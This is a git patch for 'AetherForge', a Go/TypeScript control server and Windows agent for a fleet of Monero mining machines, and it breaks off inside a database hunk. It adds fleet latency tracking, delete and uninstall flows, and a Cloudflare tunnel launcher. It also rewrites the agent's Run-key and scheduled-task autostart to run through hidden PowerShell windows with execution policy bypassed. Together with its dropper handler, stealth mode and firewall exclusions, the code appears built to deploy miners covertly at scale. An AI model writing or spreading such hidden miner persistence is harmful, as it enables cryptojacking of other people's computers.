From 01d76b37304ef0f9e78ea7b16ee3bfac3b0d7e89 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Tue, 2 Jun 2026 19:19:50 -0700 Subject: [PATCH] Improve fleet control, Crucible ops, and multi-machine identity. Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync). --- LAUNCH.bat | 47 ++++- agent/client/client.go | 9 +- agent/deploy/platform_windows.go | 18 +- server/config.go | 2 +- server/internal/alerts/evaluator.go | 6 +- server/internal/alerts/evaluator_test.go | 1 + server/internal/api/dropper_handler.go | 4 + server/internal/api/fleet_handler.go | 49 ++++++ server/internal/api/fleet_handler_test.go | 2 +- server/internal/api/router.go | 2 + server/internal/api/websocket.go | 164 ++++++++++++++---- server/internal/builder/handler.go | 9 +- server/internal/builder/uninstall.go | 20 ++- server/internal/db/agent_meta.go | 4 +- server/internal/db/sqlite.go | 15 +- server/internal/models/agent.go | 4 + server/main.go | 23 +-- server/web/src/api/client.ts | 47 +++-- .../src/components/Fleet/AgentListItem.tsx | 23 ++- .../web/src/components/Fleet/FleetToolbar.tsx | 11 +- .../web/src/components/Fleet/LatencyBadge.tsx | 83 +++++++++ .../web/src/components/PoolPresetPicker.tsx | 57 ------ server/web/src/components/SessionGate.tsx | 3 - server/web/src/context/WebSocketProvider.tsx | 6 + server/web/src/pages/AgentsPage.tsx | 114 +++++++++++- server/web/src/pages/BuildManagerPage.css | 4 +- server/web/src/pages/BuildManagerPage.tsx | 19 +- server/web/src/pages/BuilderPage.tsx | 23 ++- server/web/src/pages/CruciblePage.tsx | 145 +++++++++++----- server/web/src/types/index.ts | 4 + server/web/src/types/ws.ts | 1 + usb/LAUNCH.bat | 47 ++++- 32 files changed, 737 insertions(+), 229 deletions(-) create mode 100644 server/web/src/components/Fleet/LatencyBadge.tsx diff --git a/LAUNCH.bat b/LAUNCH.bat index 7a62852..f47ad34 100644 --- a/LAUNCH.bat +++ b/LAUNCH.bat @@ -106,7 +106,18 @@ if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" :: ---------------------------------------------------------------- -:: 5. Detect LAN IP for display +:: 5. Configure optional Cloudflare tunnel (foreground process, no service) +:: ---------------------------------------------------------------- +set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe" +set "CF_PID_FILE=%ROOT%\data\cloudflared.pid" +set "CF_TUNNEL_TOKEN=" +if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%" +if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" ( + set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt" +) + +:: ---------------------------------------------------------------- +:: 6. Detect LAN IP for display :: ---------------------------------------------------------------- set "SERVER_PORT=8989" for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( @@ -118,9 +129,10 @@ set "LAN_IP=localhost" set "LAN_IP=%LAN_IP: =%" :: ---------------------------------------------------------------- -:: 6. Kill any stale server process +:: 7. Kill any stale server and tunnel processes :: ---------------------------------------------------------------- taskkill /F /IM AetherForge.exe >nul 2>nul +taskkill /F /IM cloudflared.exe >nul 2>nul ping -n 2 127.0.0.1 >nul echo. @@ -136,6 +148,30 @@ echo Press Ctrl+C to stop. echo ================================================================ echo. +:: Start optional Cloudflare tunnel for this launcher session only. +if defined CF_TUNNEL_TOKEN ( + if not exist "%ROOT%\tools" mkdir "%ROOT%\tools" + if not exist "%CLOUDFLARED_BIN%" ( + echo [Tunnel] Downloading cloudflared.exe... + powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }" + ) + if exist "%CLOUDFLARED_BIN%" ( + del "%CF_PID_FILE%" 2>nul + echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^). + powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id" + if errorlevel 1 ( + echo [Tunnel] WARNING: cloudflared failed to start. + ) else ( + echo [Tunnel] Tunnel process started. It will stop when this launcher exits. + ) + ) else ( + echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped. + ) +) else ( + echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN. +) +echo. + :: Open browser after short delay start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" @@ -143,6 +179,13 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" set "EC=!ERRORLEVEL!" +if exist "%CF_PID_FILE%" ( + for /f "usebackq" %%P in ("%CF_PID_FILE%") do ( + powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul + ) + del "%CF_PID_FILE%" 2>nul +) + echo. if "!EC!"=="0" ( echo [Server] Stopped normally. diff --git a/agent/client/client.go b/agent/client/client.go index 87547a6..11c6b77 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -302,7 +302,10 @@ func (c *AgentClient) handleMessage(msg Message) { if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" { log.Printf("[agent] job error from server: %s", msg) } - c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) + // Back off 3 seconds before retrying — pool may still be connecting. + time.AfterFunc(3*time.Second, func() { + c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) + }) return } var j job.Job @@ -312,7 +315,9 @@ func (c *AgentClient) handleMessage(msg Message) { } if j.Blob == "" { log.Printf("[agent] empty job blob — requesting job again") - c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) + time.AfterFunc(3*time.Second, func() { + c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) + }) return } log.Printf("[agent] new job %s height=%d", j.ID, j.Height) diff --git a/agent/deploy/platform_windows.go b/agent/deploy/platform_windows.go index ef3f66e..119b9c4 100644 --- a/agent/deploy/platform_windows.go +++ b/agent/deploy/platform_windows.go @@ -29,7 +29,10 @@ func configureAutoStart(cfg config.RuntimeConfig, binPath string) error { return err } defer k.Close() - return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag)) + // Wrap in PowerShell so the console window is suppressed on startup. + val := fmt.Sprintf(`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, + strings.ReplaceAll(binPath, `'`, `''`), runFlag) + return k.SetStringValue(PersistenceKeyName(cfg), val) } func configureRunMode(cfg config.RuntimeConfig, installedBin string) error { @@ -114,11 +117,16 @@ func createScheduledTask(cfg config.RuntimeConfig, binPath string) error { if taskName == "" { taskName = "CryptoMinerAgent" } + safeBin := strings.ReplaceAll(binPath, `'`, `''`) + safeTask := strings.ReplaceAll(taskName, `'`, `''`) + // Wrap in PowerShell with -WindowStyle Hidden so no console window appears. + // RestartCount capped at 5 with a 5-minute interval to prevent a crash-loop + // from spamming the screen. The watchdog covers longer-term health. + psArg := fmt.Sprintf(`-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "& '%s' %s"`, safeBin, runFlag) script := fmt.Sprintf( - `$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, - strings.ReplaceAll(binPath, `'`, `''`), - runFlag, - strings.ReplaceAll(taskName, `'`, `''`), + `$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 5 -RestartInterval (New-TimeSpan -Minutes 5); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, + strings.ReplaceAll(psArg, `'`, `''`), + safeTask, ) cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) return cmd.Run() diff --git a/server/config.go b/server/config.go index 7e6a402..50e2a88 100644 --- a/server/config.go +++ b/server/config.go @@ -11,7 +11,7 @@ import ( type Config struct { Port int `json:"port"` - DataDir string `json:"data_dir"` + DataDir string `json:"-"` // set from -data CLI flag; never written to config.json Pool PoolConfig `json:"pool"` Wallet WalletConfig `json:"wallet"` diff --git a/server/internal/alerts/evaluator.go b/server/internal/alerts/evaluator.go index dd23030..979ed88 100644 --- a/server/internal/alerts/evaluator.go +++ b/server/internal/alerts/evaluator.go @@ -31,7 +31,7 @@ type Broadcaster func(AlertEvent) type Evaluator struct { db *db.Database thresholds func() Thresholds - notify NotifyConfig + notify func() NotifyConfig broadcast Broadcaster mu sync.Mutex baseline map[string]float64 @@ -40,7 +40,7 @@ type Evaluator struct { cooldown time.Duration } -func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify NotifyConfig, broadcast Broadcaster) *Evaluator { +func NewEvaluator(database *db.Database, thresholds func() Thresholds, notify func() NotifyConfig, broadcast Broadcaster) *Evaluator { return &Evaluator{ db: database, thresholds: thresholds, @@ -180,7 +180,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) { e.mu.Unlock() log.Printf("[Alert] %s: %s", ev.Type, ev.Message) - NotifyAll(e.notify, "AetherForge "+ev.Type, ev.Message) + NotifyAll(e.notify(), "AetherForge "+ev.Type, ev.Message) if e.broadcast != nil { e.broadcast(ev) } diff --git a/server/internal/alerts/evaluator_test.go b/server/internal/alerts/evaluator_test.go index 597640a..d8f2b3b 100644 --- a/server/internal/alerts/evaluator_test.go +++ b/server/internal/alerts/evaluator_test.go @@ -17,6 +17,7 @@ func TestEvaluatorOfflineAlert(t *testing.T) { var fired []AlertEvent e := &Evaluator{ thresholds: func() Thresholds { return Thresholds{OfflineMinutes: 5} }, + notify: func() NotifyConfig { return NotifyConfig{} }, broadcast: func(ev AlertEvent) { fired = append(fired, ev) }, baseline: make(map[string]float64), lastFired: make(map[string]time.Time), diff --git a/server/internal/api/dropper_handler.go b/server/internal/api/dropper_handler.go index cf0107f..8737f26 100644 --- a/server/internal/api/dropper_handler.go +++ b/server/internal/api/dropper_handler.go @@ -207,6 +207,10 @@ func (h *DropperHandler) resolveBase(r *http.Request) string { if r.TLS != nil { scheme = "https" } + // Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel). + if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" { + scheme = "https" + } // Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host. host := r.Header.Get("X-Forwarded-Host") if host == "" { diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index 756e144..ca9796e 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -417,6 +417,55 @@ func EstimateXMRPerDay(hashrate float64) map[string]interface{} { } } +// DeleteAgent removes an agent record from the database. +// If the agent is currently online it is also disconnected (kicked). +func (f *FleetHandler) DeleteAgent(w http.ResponseWriter, r *http.Request) { + id := chi.URLParam(r, "id") + if id == "" { + http.Error(w, "missing agent id", http.StatusBadRequest) + return + } + // Kick live connection first (non-fatal if offline). + if f.ws != nil { + _ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})}) + f.ws.RemoveAgent(id) + } + if err := f.db.DeleteAgent(id); err != nil { + http.Error(w, "delete failed: "+err.Error(), http.StatusInternalServerError) + return + } + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(map[string]bool{"success": true}) +} + +// BulkDeleteAgents deletes multiple agents from the database in one call. +func (f *FleetHandler) BulkDeleteAgents(w http.ResponseWriter, r *http.Request) { + var req struct { + IDs []string `json:"ids"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.IDs) == 0 { + http.Error(w, "ids required", http.StatusBadRequest) + return + } + deleted := 0 + for _, id := range req.IDs { + if f.ws != nil { + _ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})}) + f.ws.RemoveAgent(id) + } + if err := f.db.DeleteAgent(id); err == nil { + deleted++ + } + } + w.Header().Set("Content-Type", "application/json") + json.NewEncoder(w).Encode(map[string]interface{}{"success": true, "deleted": deleted}) +} + +func mustMarshalFleet(v interface{}) json.RawMessage { + b, _ := json.Marshal(v) + return b +} + func parseFloatQuery(r *http.Request, key string, def float64) float64 { v := r.URL.Query().Get(key) if v == "" { diff --git a/server/internal/api/fleet_handler_test.go b/server/internal/api/fleet_handler_test.go index 1fdd642..dd20d6d 100644 --- a/server/internal/api/fleet_handler_test.go +++ b/server/internal/api/fleet_handler_test.go @@ -182,7 +182,7 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) { evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds { return alerts.Thresholds{OfflineMinutes: 5} - }, alerts.NotifyConfig{}, nil) + }, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil) evaluator.RunOnce() fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}) diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 55b93c0..e05021c 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -444,7 +444,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand) r.Get("/agents/{id}/log", fleetHandler.GetAgentLog) r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta) + r.Delete("/agents/{id}", fleetHandler.DeleteAgent) r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand) + r.Post("/agents/bulk-delete", fleetHandler.BulkDeleteAgents) } // Fleet ops diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index af65a7f..aab20ed 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -60,9 +60,13 @@ type Message struct { } type AgentConnection struct { - AgentID string - Conn *websocket.Conn - mu sync.Mutex + AgentID string + Conn *websocket.Conn + mu sync.Mutex + // Latency tracking — updated each ping/pong cycle. + latencyMu sync.Mutex + pingSentAt time.Time + LatencyMs *int // nil until first pong received } func (c *AgentConnection) SendJSON(v interface{}) error { @@ -177,6 +181,35 @@ func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) { } } +// runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong. +func (h *WSHub) runPingLoopAgent(ac *AgentConnection) { + interval := h.pingInterval() + ticker := time.NewTicker(interval) + defer ticker.Stop() + + conn := ac.Conn + _ = conn.SetReadDeadline(time.Now().Add(interval * 2)) + conn.SetPongHandler(func(string) error { + // Measure RTT. + ac.latencyMu.Lock() + if !ac.pingSentAt.IsZero() { + ms := int(time.Since(ac.pingSentAt).Milliseconds()) + ac.LatencyMs = &ms + } + ac.latencyMu.Unlock() + return conn.SetReadDeadline(time.Now().Add(interval * 2)) + }) + + for range ticker.C { + ac.latencyMu.Lock() + ac.pingSentAt = time.Now() + ac.latencyMu.Unlock() + if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil { + return + } + } +} + func (h *WSHub) runPingLoopDash(dc *DashboardConn) { interval := h.pingInterval() ticker := time.NewTicker(interval) @@ -263,13 +296,17 @@ func (h *WSHub) getAgentConn(agentID string) *AgentConnection { } func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { + clientIP := r.Header.Get("X-Forwarded-For") + if clientIP == "" { + clientIP = r.RemoteAddr + } + log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin")) conn, err := upgrader.Upgrade(w, r, nil) if err != nil { - log.Printf("WebSocket upgrade error: %v", err) + log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err) return } - - go h.runPingLoopRaw(conn) + log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP) agentID := "" defer func() { @@ -351,17 +388,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { continue } - // Verify fleet secret. If the server has one configured, the agent must match. - h.mu.RLock() - requiredSecret := h.fleetSecret - h.mu.RUnlock() - if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) { - conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ - "success": false, "error": "invalid fleet secret — re-forge this agent", - })}) - log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID) - return - } + // Verify fleet secret. If the server has one configured, the agent must match. + h.mu.RLock() + requiredSecret := h.fleetSecret + h.mu.RUnlock() + log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret) + if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) { + conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ + "success": false, "error": "invalid fleet secret — re-forge this agent", + })}) + log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID) + return + } agentID = auth.AgentID if agentID == "" { @@ -410,8 +448,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } // Build backup pool.Config list from what the agent sent at auth. - // These are registered on the proxy so reconnect() rotates through - // them automatically — not just at initial connect. var backupCfgs []pool.Config for _, bp := range backupPools { if bp.Host == "" || bp.Port <= 0 { @@ -431,9 +467,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { backupCfgs = append(backupCfgs, bpc) } - if _, err := h.poolManager.EnsurePoolWithBackups(&poolCfg, backupCfgs); err != nil { - log.Printf("[WS] All pools failed for agent %s (%d backups tried) — agent will mine when pool reconnects", agentID, len(backupCfgs)) - } + // Connect to pool in background — do NOT block the auth_response. + // The agent can start and the pool proxy will be ready by the time + // the first share is submitted. + go func(pc pool.Config, bcs []pool.Config, aid string) { + if _, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs); err != nil { + log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err) + } + }(poolCfg, backupCfgs, agentID) } if h.aiHandler != nil && forgeCfg.AIEnabled { @@ -461,6 +502,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { Platform: auth.Platform, Arch: auth.Arch, OSVersion: auth.OSVersion, + Hostname: auth.Hostname, Capabilities: &caps, } @@ -496,14 +538,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { oldConn.Close() h.mu.Lock() } - h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn} + ac := &AgentConnection{AgentID: agentID, Conn: conn} + h.agents[agentID] = ac h.mu.Unlock() + // Start the RTT-aware ping loop now that we have an AgentConnection. + go h.runPingLoopAgent(ac) + conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ "success": true, "agent_id": agentID, })}) + // Enrich agent with hostname before broadcasting so the dashboard + // immediately shows the correct machine-specific display name. + agent.Hostname = auth.Hostname + h.broadcastDashboard(Message{ Type: "agent_online", Payload: mustMarshal(agent), @@ -659,6 +709,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if len(stats.Services) > 0 { broadcast["services"] = stats.Services } + // Attach latest RTT latency from the ping loop. + if ac := h.getAgentConn(agentID); ac != nil { + ac.latencyMu.Lock() + if ac.LatencyMs != nil { + broadcast["latency_ms"] = *ac.LatencyMs + } + ac.latencyMu.Unlock() + } h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)}) case "submit_share": @@ -751,11 +809,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { var proxy *pool.Proxy if h.poolManager != nil { poolCfg := h.agentPoolConfig(agentID) + // Only use GetPool (non-blocking). If the pool hasn't connected yet + // (background EnsurePoolWithBackups from auth is still dialing), kick + // off another async attempt rather than blocking the WS read loop. proxy = h.poolManager.GetPool(&poolCfg) if proxy == nil { - if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil { - proxy = p - } + go func(pc pool.Config) { + if p, err := h.poolManager.EnsurePool(&pc); err != nil { + log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err) + } else { + _ = p + } + }(poolCfg) } } if proxy != nil { @@ -763,10 +828,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if job != nil { conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)}) } else { - conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available"})}) + conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})}) } } else { - conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool not connected"})}) + conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})}) } case "log_tail": @@ -920,6 +985,29 @@ func (h *WSHub) SendToAgent(agentID string, msg Message) error { return agent.SendJSON(msg) } +// RemoveAgent forcibly disconnects an agent and removes it from the live map. +// It then broadcasts agent_deleted to all dashboard clients so the UI removes +// the agent immediately without waiting for the disconnect goroutine to fire. +func (h *WSHub) RemoveAgent(agentID string) { + h.mu.Lock() + if ac, ok := h.agents[agentID]; ok { + // Nil the map entry BEFORE closing so the agent goroutine's deferred + // cleanup (which checks cur.Conn == conn) falls into the else branch + // and skips SetAgentOffline — avoiding a write to an already-deleted row. + delete(h.agents, agentID) + delete(h.agentConfigs, agentID) + delete(h.agentLogs, agentID) + delete(h.agentCapabilities, agentID) + ac.Conn.Close() + } + h.mu.Unlock() + // Broadcast deletion so every connected dashboard removes the agent immediately. + h.broadcastDashboard(Message{ + Type: "agent_deleted", + Payload: mustMarshal(map[string]string{"agent_id": agentID}), + }) +} + // SendAgentCommand sends a remote command to an agent. func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error { payload := map[string]interface{}{"action": action} @@ -970,17 +1058,23 @@ func (h *WSHub) BroadcastAIActivity(entry interface{}) { h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)}) } +// agentDisplayName returns a display name that is unique per physical machine. +// Hostname is preferred because it's machine-specific — many agents deployed from +// the same binary would otherwise share the same baked-in worker name, making +// a large fleet impossible to differentiate. func agentDisplayName(workerName, worker, hostname, agentID string) string { - if workerName != "" { - return workerName - } - if worker != "" { - return worker - } if hostname != "" { return hostname } - return shortAgentID(agentID) + // No hostname reported — make the worker name unique with a short agent ID suffix. + base := workerName + if base == "" { + base = worker + } + if base == "" { + base = "agent" + } + return base + "-" + shortAgentID(agentID) } func shortAgentID(id string) string { diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 452cb99..9e109b0 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -450,8 +450,11 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) { http.Error(w, "Build not found", http.StatusNotFound) return } - uninstallPath := strings.TrimSuffix(build.FilePath, filepath.Base(build.FilePath)) + - fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName)) + // Uninstall script lives in buildDir (builds//), NOT in the platform + // sub-directory where the binary lives (builds//windows-amd64/). + // Compute directly from dataDir + buildID to avoid path-stripping mistakes. + buildDir := filepath.Join(h.dataDir, "builds", buildID) + uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName))) if _, err := os.Stat(uninstallPath); err != nil { http.Error(w, "Uninstall script missing", http.StatusNotFound) return @@ -1069,7 +1072,7 @@ func formatGoBackupPools(pools []BackupPool) string { return "nil" } var sb strings.Builder - sb.WriteString("[]config.BackupPool{") + sb.WriteString("[]BackupPool{") for i, p := range pools { if i > 0 { sb.WriteString(", ") diff --git a/server/internal/builder/uninstall.go b/server/internal/builder/uninstall.go index 11c10fc..0835565 100644 --- a/server/internal/builder/uninstall.go +++ b/server/internal/builder/uninstall.go @@ -76,6 +76,15 @@ func generateUninstallScript(buildID string, req *BuildRequest) string { installRel := expandInstallRelativePath(req, buildID) installBase := resolveInstallBasePS(req) + firewallBool := "$false" + if req.FirewallExclusion { + firewallBool = "$true" + } + pauseBool := "$false" + if !req.StealthMode { + pauseBool = "$true" + } + return fmt.Sprintf(`# AetherForge Miner Uninstaller # Worker: %s # Generated alongside forged installer — run as the same Windows user who installed the miner. @@ -112,25 +121,22 @@ if (Test-Path $ExpectedExe) { Write-Host "Removing persistence..." Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue +Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue -if (%t) { +if (%s) { Write-Host "Removing Windows Firewall rules..." Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' In') -ErrorAction SilentlyContinue Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' Out') -ErrorAction SilentlyContinue } -if ($true) { - Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue -} - Write-Host "Removing install directory: $InstallDir" if ($InstallDir -and (Test-Path $InstallDir)) { Remove-Item -LiteralPath $InstallDir -Recurse -Force } Write-Host "Done. Miner removed." -if (%t) { Read-Host 'Press Enter to close' } -`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), req.FirewallExclusion, !req.StealthMode) +if (%s) { Read-Host 'Press Enter to close' } +`, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), firewallBool, pauseBool) } func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) { diff --git a/server/internal/db/agent_meta.go b/server/internal/db/agent_meta.go index e01be32..9523f6e 100644 --- a/server/internal/db/agent_meta.go +++ b/server/internal/db/agent_meta.go @@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface { &a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m, &a.SharesTotal, &a.SharesGood, &a.SharesBad, &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, - ¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, + ¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, ) if err != nil { return nil, err @@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface { const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, - cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version` + cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname` func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 004996b..0424b68 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -124,6 +124,7 @@ func (d *Database) migrate() error { _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`) return nil } @@ -131,8 +132,8 @@ func (d *Database) migrate() error { // Agent operations func (d *Database) UpsertAgent(a *models.Agent) error { - query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?) + query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?) ON CONFLICT(id) DO UPDATE SET name = excluded.name, wallet = excluded.wallet, @@ -144,8 +145,9 